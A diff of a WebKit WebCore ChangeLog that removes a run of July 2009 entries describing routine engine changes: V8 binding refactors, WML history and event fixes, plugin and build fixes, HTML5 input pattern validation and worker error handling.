-        (WebCore::StaticDOMDataStore::StaticDOMDataStore):
-        * bindings/v8/StaticDOMDataStore.h: Added.
-        * bindings/v8/V8DOMMap.cpp:
-
-2009-07-27  Mark Rowe  <mrowe@apple.com>
-
-        Reviewed by Darin Adler.
-
-        <rdar://problem/7091036> REGRESSION: Microsoft Messenger crashes during file send/receive due to use of WebKit on non-main thread
-
-        Add a method for detecting if we're being used within Microsoft Messenger.
-
-        * WebCore.base.exp: Export applicationIsMicrosoftMessenger and sort existing entries.
-        * platform/mac/RuntimeApplicationChecks.h:
-        * platform/mac/RuntimeApplicationChecks.mm:
-        (WebCore::applicationIsMicrosoftMessenger):
-
-2009-07-27  Jian Li  <jianli@chromium.org>
-
-        Reviewed by David Levin.
-
-        [V8] Implement EventListener::reportError for V8 event listeners in worker context. 
-        https://bugs.webkit.org/show_bug.cgi?id=27731
-
-        * bindings/v8/V8WorkerContextEventListener.cpp:
-        (WebCore::V8WorkerContextEventListener::reportError):
-        * bindings/v8/V8WorkerContextEventListener.h:
-
-2009-07-27  Stephen White  <senorblanco@chromium.org>
-
-        Reviewed by Eric Seidel and David Levin.
-
-        Re-apply chromium/skia border fix (originally landed in r46157,
-        reverted in r46363), since it was not the cause of the reliability
-        failures in Chromium.
-
-        http://bugs.webkit.org/show_bug.cgi?id=27388
-
-        * platform/graphics/skia/GraphicsContextSkia.cpp:
-        (WebCore::GraphicsContext::drawLine):
-        * platform/graphics/skia/PlatformContextSkia.cpp:
-        (PlatformContextSkia::setupPaintForStroking):
-
-2009-07-27  Ryosuke Niwa  <rniwa@webkit.org>
-
-        Reviewed by Justin Garcia.
-
-        createMarkup does not handle CSS properly
-        https://bugs.webkit.org/show_bug.cgi?id=27660
-
-        This patch isolates code that creates markup for styles in addStyleMarkup
-        It also makes all presentational elements (u, s, strike, i, em, b, strong) special ancestor in createMarkup
-        so that we can assume no text decoration style is passed to addStyleMarkup.
-
-        * editing/markup.cpp:
-        (WebCore::propertyMissingOrEqualToNone): Changed the first argument from CSSMutableStyleDecleration to CSSStyleDeclaration
-        (WebCore::isElementPresentational): Used to be elementHasTextDecorationProperty, now supports presentational tags
-        (WebCore::addStyleMarkup): Adds markup for style span and div
-        (WebCore::createMarkup): Uses isElementPresentational and addStyleMarkup
-
-2009-07-27  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        fix more obvious global object lookups
-        https://bugs.webkit.org/show_bug.cgi?id=27745
-
-        No new tests for these changes.  I believe in many cases
-        testing to be impossible.  Lack of testing justification next to
-        each change below.  The remaining pieces of bug 27634 will all
-        need tests.
-
-        * bindings/js/JSDOMWindowBase.cpp:
-        (WebCore::JSDOMWindowBase::updateDocument): not testable.
-        * bindings/js/JSDataGridColumnListCustom.cpp:
-        (WebCore::JSDataGridColumnList::nameGetter): no testing for this incomplete feature.
-        * bindings/js/JSEventListener.cpp:
-        (WebCore::JSEventListener::handleEvent): would require outer frame to trigger an event in the inner frame
-        * bindings/js/JSEventTarget.cpp:
-        (WebCore::toJS): covered by other tests, always correct to pass the globalObject through.
-        * bindings/js/JSHTMLElementCustom.cpp:
-        (WebCore::JSHTMLElement::pushEventHandlerScope): unclear when this could be triggered.
-        * bindings/js/JSHTMLOptionsCollectionCustom.cpp:
-        (WebCore::JSHTMLOptionsCollection::remove): toJS seems superfluous here to begin with.
-        * bindings/js/JSLazyEventListener.cpp:
-        (WebCore::JSLazyEventListener::parseCode): would require outer frame to trigger inner frame event.
-        * bindings/js/ScriptController.cpp:
-        (WebCore::ScriptController::jsObjectForPluginElement): only used for NPAPI binding, unclear how to test.
-        * bindings/js/ScriptEventListener.cpp:
-        (WebCore::createAttributeEventListener): unclear how to test.
-        * bindings/js/ScriptObject.cpp:
-        (WebCore::ScriptGlobalObject::set): unclear how to test/inspector only.
-        * bindings/js/ScriptObjectQuarantine.cpp:
-        (WebCore::getQuarantinedScriptObject): unclear how to test.
-        * bindings/objc/DOMInternal.mm:
-        (-[WebScriptObject _initializeScriptDOMNodeImp]): unclear how to test.
-
-2009-07-27  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        [WML] 'title' attribute handling not correct for <a> / <anchor> elements
-        https://bugs.webkit.org/show_bug.cgi?id=27720
-
-        Unify title() implementation in WMLElement instead of several copies of the same logic.
-        We forgot WMLAnchorElement/WMLAElement, that lead to bugs. Fixes hovering links in the
-        WML manual-test suite.
-
-        * wml/WMLCardElement.cpp:
-        * wml/WMLCardElement.h:
-        * wml/WMLElement.cpp:
-        (WebCore::WMLElement::title):
-        * wml/WMLElement.h:
-        * wml/WMLOptGroupElement.cpp:
-        * wml/WMLOptGroupElement.h:
-        * wml/WMLSelectElement.cpp:
-        * wml/WMLSelectElement.h:
-
-2009-07-27  Adam Treat  <adam.treat@torchmobile.com>
-
-        Speculative build fix for Windows and WinCE.
-
-        * plugins/win/PluginPackageWin.cpp:
-        (WebCore::PluginPackage::load):
-
-2009-07-27  Ojan Vafai  <ojan@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27474
-        Fixes crashes due to renderer getting destroyed in updateLayout.
-        We need to call updateLayout before we call into the renderer.
-        Removed the updateLayout call from RenderTextControl and moved it
-        into the calling sites.
-        
-        Also changes updateLayout to updateLayoutIgnorePendingStylesheets so
-        this works with pending stylesheets. Unfortunately, this seems to be
-        untestable. Loading an external stylesheet and then having an inline
-        script hit this code did not result in an pending stylesheets.
-        
-        The are other cases of this bug in the rendering code. I'll file a 
-        followup bug to audit the calls to updateLayout.
-
-        Test: fast/dom/text-control-crash-on-select.html
-
-        * dom/Document.h:
-        (WebCore::Document::inStyleRecalc): Added so the ASSERTs in updateFocusAppearance
-            and setSelectionRange could deal with cases of reentrancy into updateLayout
-            calls. This happens in a couple layout tests.
-        * dom/InputElement.cpp:
-        (WebCore::InputElement::updateSelectionRange):
-        * html/HTMLInputElement.cpp:
-        (WebCore::isTextFieldWithRendererAfterUpdateLayout):
-        (WebCore::HTMLInputElement::setSelectionStart):
-        (WebCore::HTMLInputElement::setSelectionEnd):
-        (WebCore::HTMLInputElement::select):
-        * html/HTMLTextAreaElement.cpp:
-        (WebCore::rendererAfterUpdateLayout):
-        (WebCore::HTMLTextAreaElement::setSelectionStart):
-        (WebCore::HTMLTextAreaElement::setSelectionEnd):
-        (WebCore::HTMLTextAreaElement::select):
-        (WebCore::HTMLTextAreaElement::setSelectionRange):
-        (WebCore::HTMLTextAreaElement::updateFocusAppearance):
-        * rendering/RenderTextControl.cpp:
-        (WebCore::RenderTextControl::setSelectionRange):
-
-2009-07-27  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reviewed by Dave Levin.
-
-        [V8] Remove parameterless frame/window retrieval methods from V8Proxy.
-        https://bugs.webkit.org/show_bug.cgi?id=27737
-
-        Refactoring, no new behavior, covered by existing tests.
-
-        * bindings/v8/ScriptCallStack.cpp:
-        (WebCore::ScriptCallStack::ScriptCallStack):
-        * bindings/v8/V8NPUtils.cpp:
-        (convertV8ObjectToNPVariant): Ditto.
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::retrieve): Ditto.
-        (WebCore::V8Proxy::canAccessPrivate): Ditto.
-        * bindings/v8/V8Proxy.h: Removed parameterless retrieveWindow/retrieveProxy decls.
-        * bindings/v8/custom/V8DatabaseCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL): Changed to use V8Proxy::retrieveFrameForCurrentContext().
-        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL): Ditto.
-        * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL): Ditto.
-        * bindings/v8/custom/V8HTMLOptionElementConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL): Ditto.
-        * bindings/v8/custom/V8MessageChannelConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL): Ditto.
-        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL): Ditto.
-        * bindings/v8/custom/V8WorkerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL): Ditto.
-        * bindings/v8/custom/V8XMLHttpRequestConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL): Ditto.
-
-2009-07-27  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        [WML] 'onpick' intrinsic event handling missing
-        https://bugs.webkit.org/show_bug.cgi?id=27723
-
-        Trigger 'onpick' intrinsic events from WMLOptionElement::setSelectedState().
-        All was in place, just forgot to enable the relevant code.
-
-        Fixes manual-tests/wml/select-onpick-event.wml
-        Test: wml/option-element-onpick.html
-
-        * wml/WMLOptionElement.cpp:
-        (WebCore::WMLOptionElement::setSelectedState):
-
-2009-07-27  Alexey Proskuryakov  <ap@webkit.org>
-
-        Reviewed by Darin Adler.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27735
-        Give a helpful name to JSLock constructor argument
-
-        * bindings/js/GCController.cpp:
-        (WebCore::collect):
-        (WebCore::GCController::gcTimerFired):
-        (WebCore::GCController::garbageCollectNow):
-        * bindings/js/JSCustomPositionCallback.cpp:
-        (WebCore::JSCustomPositionCallback::handleEvent):
-        * bindings/js/JSCustomPositionErrorCallback.cpp:
-        (WebCore::JSCustomPositionErrorCallback::handleEvent):
-        * bindings/js/JSCustomSQLStatementCallback.cpp:
-        (WebCore::JSCustomSQLStatementCallback::handleEvent):
-        * bindings/js/JSCustomSQLStatementErrorCallback.cpp:
-        (WebCore::JSCustomSQLStatementErrorCallback::handleEvent):
-        * bindings/js/JSCustomSQLTransactionCallback.cpp:
-        (WebCore::JSCustomSQLTransactionCallback::handleEvent):
-        * bindings/js/JSCustomSQLTransactionErrorCallback.cpp:
-        (WebCore::JSCustomSQLTransactionErrorCallback::handleEvent):
-        * bindings/js/JSCustomVoidCallback.cpp:
-        (WebCore::JSCustomVoidCallback::handleEvent):
-        * bindings/js/JSCustomXPathNSResolver.cpp:
-        (WebCore::JSCustomXPathNSResolver::lookupNamespaceURI):
-        * bindings/js/JSEventCustom.cpp:
-        (WebCore::toJS):
-        * bindings/js/JSEventListener.cpp:
-        (WebCore::JSEventListener::handleEvent):
-        * bindings/js/JSInspectorBackendCustom.cpp:
-        (WebCore::JSInspectorBackend::currentCallFrame):
-        (WebCore::JSInspectorBackend::profiles):
-        * bindings/js/JSNodeFilterCondition.cpp:
-        (WebCore::JSNodeFilterCondition::acceptNode):
-        * bindings/js/ScheduledAction.cpp:
-        (WebCore::ScheduledAction::executeFunctionInContext):
-        * bindings/js/ScriptArray.cpp:
-        (WebCore::ScriptArray::set):
-        (WebCore::ScriptArray::createNew):
-        * bindings/js/ScriptCachedFrameData.cpp:
-        (WebCore::ScriptCachedFrameData::ScriptCachedFrameData):
-        (WebCore::ScriptCachedFrameData::restore):
-        (WebCore::ScriptCachedFrameData::clear):
-        * bindings/js/ScriptController.cpp:
-        (WebCore::ScriptController::evaluate):
-        (WebCore::ScriptController::clearWindowShell):
-        (WebCore::ScriptController::initScript):
-        (WebCore::ScriptController::updateDocument):
-        (WebCore::ScriptController::bindingRootObject):
-        (WebCore::ScriptController::windowScriptNPObject):
-        (WebCore::ScriptController::jsObjectForPluginElement):
-        (WebCore::ScriptController::clearScriptObjects):
-        * bindings/js/ScriptControllerMac.mm:
-        (WebCore::ScriptController::windowScriptObject):
-        * bindings/js/ScriptEventListener.cpp:
-        (WebCore::createAttributeEventListener):
-        * bindings/js/ScriptFunctionCall.cpp:
-        (WebCore::ScriptFunctionCall::appendArgument):
-        (WebCore::ScriptFunctionCall::call):
-        (WebCore::ScriptFunctionCall::construct):
-        * bindings/js/ScriptObject.cpp:
-        (WebCore::ScriptObject::set):
-        (WebCore::ScriptObject::createNew):
-        (WebCore::ScriptGlobalObject::set):
-        (WebCore::ScriptGlobalObject::get):
-        (WebCore::ScriptGlobalObject::remove):
-        * bindings/js/ScriptObjectQuarantine.cpp:
-        (WebCore::quarantineValue):
-        (WebCore::getQuarantinedScriptObject):
-        * bindings/js/ScriptValue.cpp:
-        (WebCore::ScriptValue::getString):
-        * bindings/js/WorkerScriptController.cpp:
-        (WebCore::WorkerScriptController::initScript):
-        (WebCore::WorkerScriptController::evaluate):
-        * bindings/objc/WebScriptObject.mm:
-        (-[WebScriptObject callWebScriptMethod:withArguments:]):
-        (-[WebScriptObject evaluateWebScript:]):
-        (-[WebScriptObject setValue:forKey:]):
-        (-[WebScriptObject valueForKey:]):
-        (-[WebScriptObject removeWebScriptKey:]):
-        (-[WebScriptObject stringRepresentation]):
-        (-[WebScriptObject webScriptValueAtIndex:]):
-        (-[WebScriptObject setWebScriptValueAtIndex:value:]):
-        (+[WebScriptObject _convertValueToObjcValue:originRootObject:rootObject:]):
-        * bridge/NP_jsobject.cpp:
-        (_NPN_InvokeDefault):
-        (_NPN_Invoke):
-        (_NPN_Evaluate):
-        (_NPN_GetProperty):
-        (_NPN_SetProperty):
-        (_NPN_RemoveProperty):
-        (_NPN_HasProperty):
-        (_NPN_HasMethod):
-        (_NPN_Enumerate):
-        (_NPN_Construct):
-        * bridge/c/c_class.cpp:
-        (JSC::Bindings::CClass::~CClass):
-        (JSC::Bindings::CClass::methodsNamed):
-        (JSC::Bindings::CClass::fieldNamed):
-        * bridge/c/c_instance.cpp:
-        (JSC::Bindings::CInstance::moveGlobalExceptionToExecState):
-        (JSC::Bindings::CInstance::invokeMethod):
-        (JSC::Bindings::CInstance::invokeDefaultMethod):
-        (JSC::Bindings::CInstance::invokeConstruct):
-        (JSC::Bindings::CInstance::getPropertyNames):
-        * bridge/c/c_runtime.cpp:
-        (JSC::Bindings::CField::valueFromInstance):
-        (JSC::Bindings::CField::setValueToInstance):
-        * bridge/c/c_utility.cpp:
-        (JSC::Bindings::convertValueToNPVariant):
-        (JSC::Bindings::convertNPVariantToValue):
-        * bridge/jni/jni_class.cpp:
-        (JavaClass::JavaClass):
-        (JavaClass::~JavaClass):
-        * bridge/jni/jni_instance.cpp:
-        (JavaInstance::stringValue):
-        * bridge/jni/jni_jsobject.mm:
-        (JavaJSObject::call):
-        (JavaJSObject::eval):
-        (JavaJSObject::getMember):
-        (JavaJSObject::setMember):
-        (JavaJSObject::removeMember):
-        (JavaJSObject::getSlot):
-        (JavaJSObject::setSlot):
-        (JavaJSObject::toString):
-        (JavaJSObject::convertValueToJObject):
-        (JavaJSObject::convertJObjectToValue):
-        * bridge/jni/jni_objc.mm:
-        (JSC::Bindings::dispatchJNICall):
-        * bridge/jni/jni_runtime.cpp:
-        (JavaMethod::signature):
-        * bridge/jni/jni_runtime.h:
-        (JSC::Bindings::JavaString::JavaString):
-        (JSC::Bindings::JavaString::_commonInit):
-        (JSC::Bindings::JavaString::~JavaString):
-        (JSC::Bindings::JavaString::UTF8String):
-        * bridge/jni/jni_utility.cpp:
-        (JSC::Bindings::convertValueToJValue):
-        * bridge/objc/objc_instance.mm:
-        (ObjcInstance::moveGlobalExceptionToExecState):
-        (ObjcInstance::invokeMethod):
-        (ObjcInstance::invokeDefaultMethod):
-        (ObjcInstance::setValueOfUndefinedField):
-        (ObjcInstance::getValueOfUndefinedField):
-        * bridge/objc/objc_runtime.mm:
-        (JSC::Bindings::ObjcField::valueFromInstance):
-        (JSC::Bindings::ObjcField::setValueToInstance):
-        * bridge/objc/objc_utility.mm:
-        (JSC::Bindings::convertValueToObjcValue):
-        (JSC::Bindings::convertNSStringToString):
-        (JSC::Bindings::convertObjcValueToValue):
-        * bridge/qt/qt_instance.cpp:
-        (JSC::Bindings::QtRuntimeObjectImp::removeFromCache):
-        (JSC::Bindings::QtInstance::~QtInstance):
-        (JSC::Bindings::QtInstance::getQtInstance):
-        (JSC::Bindings::QtInstance::createRuntimeObject):
-        * bridge/qt/qt_runtime.cpp:
-        (JSC::Bindings::convertValueToQVariant):
-        (JSC::Bindings::convertQVariantToValue):
-        (JSC::Bindings::QtRuntimeMetaMethod::call):
-        (JSC::Bindings::QtRuntimeConnectionMethod::call):
-        (JSC::Bindings::QtConnectionObject::execute):
-        * bridge/runtime.cpp:
-        (JSC::Bindings::Instance::createRuntimeObject):
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::addScriptProfile):
-        * inspector/JavaScriptCallFrame.cpp:
-        (WebCore::JavaScriptCallFrame::evaluate):
-        * inspector/JavaScriptDebugServer.cpp:
-        (WebCore::JavaScriptDebugServer::recompileAllJSFunctions):
-        * inspector/JavaScriptProfileNode.cpp:
-        (WebCore::getTotalTime):
-        (WebCore::getSelfTime):
-        (WebCore::getTotalPercent):
-        (WebCore::getSelfPercent):
-        (WebCore::getNumberOfCalls):
-        (WebCore::getChildren):
-        (WebCore::getParent):
-        (WebCore::getHead):
-        (WebCore::getVisible):
-        (WebCore::getCallUID):
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::start):
-        (WebCore::getString):
-        (WebCore::PluginView::performRequest):
-        (WebCore::PluginView::bindingInstance):
-        * plugins/gtk/PluginViewGtk.cpp:
-        (WebCore::PluginView::dispatchNPEvent):
-        (WebCore::PluginView::handleKeyboardEvent):
-        (WebCore::PluginView::handleMouseEvent):
-        (WebCore::PluginView::setNPWindowIfNeeded):
-        (WebCore::PluginView::stop):
-        (WebCore::PluginView::init):
-        * plugins/mac/PluginViewMac.cpp:
-        (WebCore::PluginView::stop):
-        (WebCore::PluginView::setNPWindowIfNeeded):
-        (WebCore::PluginView::dispatchNPEvent):
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::setNPWindowIfNeeded):
-        (WebCore::PluginView::stop):
-        (WebCore::PluginView::init):
-        * plugins/win/PluginViewWin.cpp:
-        (WebCore::PluginView::dispatchNPEvent):
-        (WebCore::PluginView::handleKeyboardEvent):
-        (WebCore::PluginView::handleMouseEvent):
-        (WebCore::PluginView::setNPWindowRect):
-        (WebCore::PluginView::stop):
-
-2009-07-27  Yong Li  <yong.li@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        WINCE PORT: Make plugin work for WINCE
-        https://bugs.webkit.org/show_bug.cgi?id=27713
-
-        * plugins/win/PluginDatabaseWin.cpp:
-        (SHGetValue):
-        (PathRemoveFileSpec):
-        (WebCore::addWindowsMediaPlayerPluginDirectory):
-        (WebCore::addMacromediaPluginDirectories):
-        * plugins/win/PluginPackageWin.cpp:
-        (WebCore::PluginPackage::load):
-        * plugins/win/PluginViewWin.cpp:
-        (WebCore::registerPluginView):
-        (WebCore::PluginView::wndProc):
-        (WebCore::PluginView::updatePluginWidget):
-        (WebCore::PluginView::paintWindowedPluginIntoContext):
-        (WebCore::PluginView::paint):
-        (WebCore::PluginView::handleMouseEvent):
-        (WebCore::PluginView::setParent):
-        (WebCore::PluginView::setNPWindowRect):
-        (WebCore::PluginView::stop):
-        (WebCore::PluginView::init):
-
-2009-07-27  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Inspector: Tab Through Element Attributes and CSS Properties When Editing
-
-        https://bugs.webkit.org/show_bug.cgi?id=27673
-
-        Reviewed by Timothy Hatcher.
-
-        * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeElement):
-        (WebInspector.ElementsTreeElement.prototype._startEditing): refactored parameter
-        (WebInspector.ElementsTreeElement.prototype._addNewAttribute): refactored to remove excess
-        (WebInspector.ElementsTreeElement.prototype._triggerEditAttribute): provide an attribute name and this will start editing it
-        (WebInspector.ElementsTreeElement.prototype._attributeEditingCommitted.moveToNextAttributeIfNeeded): move between attributes
-        (WebInspector.ElementsTreeElement.prototype._attributeEditingCommitted):
-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylePropertiesSection.prototype.onpopulate):
-        (WebInspector.StylePropertiesSection.prototype.findTreeElementWithName): search through treeElements for a style property name
-        (WebInspector.StylePropertiesSection.prototype.addNewBlankProperty): initialize a blank property for adding new properties
-        (WebInspector.StylePropertyTreeElement.prototype.updateTitle): add references to the name and value elements
-        (WebInspector.StylePropertyTreeElement.prototype.):
-        (WebInspector.StylePropertyTreeElement.prototype):
+        (WebCore::InspectorFrontend::scriptState):
+        * inspector/front-end/InjectedScript.js:
+        (injectedScriptConstructor):
+        (injectedScriptConstructor.):
+        * inspector/front-end/InjectedScriptAccess.js:
+        (InjectedScriptAccess._installHandler.InjectedScriptAccess.prototype.methodName.myCallback):
+        (InjectedScriptAccess._installHandler.InjectedScriptAccess.prototype.methodName):
+        (InjectedScriptAccess._installHandler):
         * inspector/front-end/inspector.js:
-        (WebInspector.startEditing.editingCommitted): include the move direction as a parameter to the commit callback
-        (WebInspector.startEditing.element.handleKeyEvent): handle the tab key to specify the move direction
-        (WebInspector.startEditing):
-
-2009-07-27  Mike Fenton  <mike.fenton@torchmobile.com>
-
-        Reviewed by Adam Treat.
-
-        Add mapping FontWeight to QFont::Weight values as requested via FIXME.
-        https://bugs.webkit.org/show_bug.cgi?id=27663
-
-        * platform/graphics/qt/FontCacheQt.cpp:
-        (WebCore::FontPlatformDataCacheKey::FontPlatformDataCacheKey):
-        * platform/graphics/qt/FontPlatformData.h:
-        (WebCore::FontPlatformData::toQFontWeight):
-        * platform/graphics/qt/FontPlatformDataQt.cpp:
-        (WebCore::FontPlatformData::FontPlatformData):
-
-2009-07-27  Jakub Wieczorek  <faw217@gmail.com>
-
-         Reviewed by Adam Treat.
-
-         When clearing the plugin database, clear also the timestamp map.
-
-         https://bugs.webkit.org/show_bug.cgi?id=27651
-
-         Currently, if we clear the database, it will still think that it is up
-         to date with the plugin directories so refreshing the database again
-         after changing the search paths may not work.
-
-         * plugins/PluginDatabase.cpp:
-         (WebCore::PluginDatabase::clear):
-
-2009-07-27  Albert J. Wong  <ajwong@chromium.org>
-
-        Reviewed by David Levin.
-
-        Add in trivial implementation of FontPlatformData::description() for
-        linux to fix build bustage in chromium.
-
-        Fix chromium linux build by adding missing function implementation.
-        https://bugs.webkit.org/show_bug.cgi?id=27732
-
-        Tested with a build of chromium on linux.
-
-        * platform/graphics/chromium/FontPlatformDataLinux.cpp:
-        (WebCore::FontPlatformData::description):
-        * platform/graphics/chromium/FontPlatformDataLinux.h:
-
-2009-07-27  Brent Fulgham  <bfulgham@webkit.org>
-
-        Build correct, no review.
-
-        Final correction for WinCairo builds.
-        CoreServices only exists in Apple builds, but
-        some of its internal includes (e.g., <windows.h>) are needed
-        for other Windows targets.
-
-        * WebCorePrefix.h: When building for WinCairo, make sure
-          to include <windows.h>, <stdio.h>, and <ConditionalMacros.h>
-
-2009-07-27  Michelangelo De Simone  <micdesim@gmail.com>
-
-        Reviewed by Darin Adler.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25552
-        Added new "pattern" attribute to HTMLInputElement and validation code
-        (validity.patternMismatch) as per HTML5 specs.
-        http://www.whatwg.org/specs/web-apps/current-work/multipage/forms.html#attr-input-pattern
-
-        Tests: fast/forms/ValidityState-002.html
-               fast/forms/ValidityState-patternMismatch-001.html
-               fast/forms/ValidityState-patternMismatch-002.html
-               fast/forms/ValidityState-patternMismatch-003.html
-               fast/forms/ValidityState-patternMismatch-004.html
-               fast/forms/ValidityState-patternMismatch-005.html
-               fast/forms/ValidityState-patternMismatch-006.html
-               fast/forms/ValidityState-patternMismatch-007.html
-               fast/forms/pattern-attribute-001.html
-               fast/forms/pattern-attribute-002.html
-               fast/forms/pattern-attribute-003.html
-
-        * html/HTMLAttributeNames.in: pattern attribute
-        * html/HTMLFormControlElement.h:
-        (WebCore::HTMLFormControlElement::patternMismatch): method definition
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::patternMismatch): validation method
-        * html/HTMLInputElement.h:
-        * html/HTMLInputElement.idl:
-        * html/ValidityState.h:
-        (WebCore::ValidityState::patternMismatch): validation flag
-
-2009-07-27  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        [WML] Manual WML tests aren't properly working
-        https://bugs.webkit.org/show_bug.cgi?id=27718
-
-        Fix file paths in the manual WML layout tests, remove unneeded tests (already covered by DRT tests).
-        Add missing resources directory and test image. Reformat all testcases to a common style.
-        Add new StartTests.wml file, which should be used as starting point to crawl through the manual tests.
-
-        Filing bugs soon for all tests exposing bugs (7 in total).
-
-        * manual-tests/wml/StartTests.wml: Added.
-        * manual-tests/wml/a-br-element.wml:
-        * manual-tests/wml/a-element.wml:
-        * manual-tests/wml/a-img-element.wml:
-        * manual-tests/wml/access-target.wml:
-        * manual-tests/wml/anchor-br-element.wml:
-        * manual-tests/wml/anchor-element.wml:
-        * manual-tests/wml/anchor-img-element.wml:
-        * manual-tests/wml/card-newcontext-attr.wml:
-        * manual-tests/wml/card-onenterbackward.wml:
-        * manual-tests/wml/card-onenterforward.wml:
-        * manual-tests/wml/card-ontimer.wml:
-        * manual-tests/wml/card-title-attr.wml: Removed.
-        * manual-tests/wml/deck-access-control.wml:
-        * manual-tests/wml/go-element.wml: Removed.
-        * manual-tests/wml/input-emptyok.wml: Removed.
-        * manual-tests/wml/input-format.wml:
-        * manual-tests/wml/onevent-go.wml:
-        * manual-tests/wml/onevent-noop.wml:
-        * manual-tests/wml/onevent-prev.wml:
-        * manual-tests/wml/onevent-refresh.wml:
-        * manual-tests/wml/onevent-shadow.wml:
-        * manual-tests/wml/postfield-get.wml: Removed.
-        * manual-tests/wml/postfield-post.wml: Removed.
-        * manual-tests/wml/resources: Added.
-        * manual-tests/wml/resources/smiley.png: Added.
-        * manual-tests/wml/select-element.wml:
-        * manual-tests/wml/select-onpick-event.wml:
-        * manual-tests/wml/setvar-element.wml:
-        * manual-tests/wml/targetdeck.wml:
-        * manual-tests/wml/task-go-in-anchor.wml:
-        * manual-tests/wml/task-noop-in-do.wml:
-        * manual-tests/wml/task-noop-in-onevent.wml: Removed.
-        * manual-tests/wml/task-prev-in-anchor.wml:
-        * manual-tests/wml/task-refresh-in-anchor.wml:
-        * manual-tests/wml/template-go.wml:
-        * manual-tests/wml/template-onevent.wml: Removed.
-        * manual-tests/wml/template-ontimer.wml:
-        * manual-tests/wml/timer.wml:
-        * manual-tests/wml/variable-substitution.wml:
-
-2009-07-27  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Fix a regression introduced in r42671, which caused the js event 
-        object to be hidden (some websites depend on being able to access it).
-
-        https://bugs.webkit.org/show_bug.cgi?id=27719
-
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::invokeEventHandler): Make the event object visible to javascript, instead of hidden.
-
-2009-07-27  Dumitru Daniliuc  <dumi@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Removing a no-op block of code in DatabaseTracker.cpp that
-        should've been removed in the patch for bug 26054.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27666
-
-        All tests in WebCore/storage pass.
-
-        * storage/DatabaseTracker.cpp:
-        (WebCore::DatabaseTracker::fullPathForDatabase): Removed a no-op
-        block of code that was moved to SQLiteFileSystem.cpp and should
-        have been removed from DatabaseTracker.cpp
-
-2009-07-27  Jian Li  <jianli@chromium.org>
-
-        Reviewed by David Levin.
-
-        Fix error handling in dedicated worker and worker context.
-        https://bugs.webkit.org/show_bug.cgi?id=27525
-
-        The following problems have been fixed:
-        1) The uncaught runtime script error is not reported using the
-        WorkerGlobalScope object's onerror attribute.
-        2) If the error is still not handled afterwards (onerror attribute
-        is not defined as a function or it returns true), the error should
-        be reported back to the associated Worker object by firing an
-        ErrorEvent.
-        3) If the error is still not handled by the associated Worker
-        object, the error should be reported to the user.
-
-        Test: fast/workers/worker-script-error.html
-
-        * bindings/js/JSEventListener.cpp:
-        (WebCore::JSEventListener::reportError):
-        * bindings/js/JSEventListener.h:
-        * dom/EventListener.h:
-        (WebCore::EventListener::reportError): adds a function to call
-        EventListener as a function with 3 arguments to report an error.
-        * workers/AbstractWorker.cpp:
-        (WebCore::AbstractWorker::dispatchScriptErrorEvent):
-        * workers/AbstractWorker.h:
-        * workers/DedicatedWorkerContext.cpp:
-        (WebCore::DedicatedWorkerContext::reportException):
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::reportException):
-        * workers/WorkerContext.h:
-        * workers/WorkerMessagingProxy.cpp:
-        (WebCore::WorkerExceptionTask::performTask):
-        * workers/WorkerMessagingProxy.h:
-
-2009-07-27  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        [WML] History handling / page cache / loading is buggy and depends on several hacks
-        https://bugs.webkit.org/show_bug.cgi?id=27707
-
-        Redesign WML history/loading handling. In detail:
-
-        - Remove FrameLoader::setForceReloadWmlDeck(). WML used to force a special loading behaviour
-          by calling this method from WMLGoElement & friends - instead teach FrameLoader to detect
-          WML content itself.
-
-          WML content is usually a standalone WML document (isWMLDocument()=true) or as special case
-          an XHTML document which embeds a WML document (that's the way the WML layout tests work).
-          Force WML loading behaviour even for XHTML document which embed WML documents. This only
-          applies to our layout tests, not for any real world site. Though it gives us a perfect
-          way to test the WML loading code even when we're not operating on a standalone WML document.
-
-          Whenever a WMLCardElement is inserted into the document it will check wheter it's inserted
-          in a standalone WML document or wheter the main frame document is different. If it differs
-          the main frame documents' "containsWMLContent" property is set to true.
-
-          -> Make FrameLoader::shouldReload() use the new frameContainsWMLContent() method, which
-             checks if the associated frame document is a WML document or wheter it contains WML content.
-
-        - Change FrameLoader::loadItem() to use the new frameContainsWMLContent() method for 'shouldScroll'
-          detection. WML documents (or those containing WML content) always want new loads even for in-page
-          navigation. No "scroll to anchor" mechanism should apply.
-
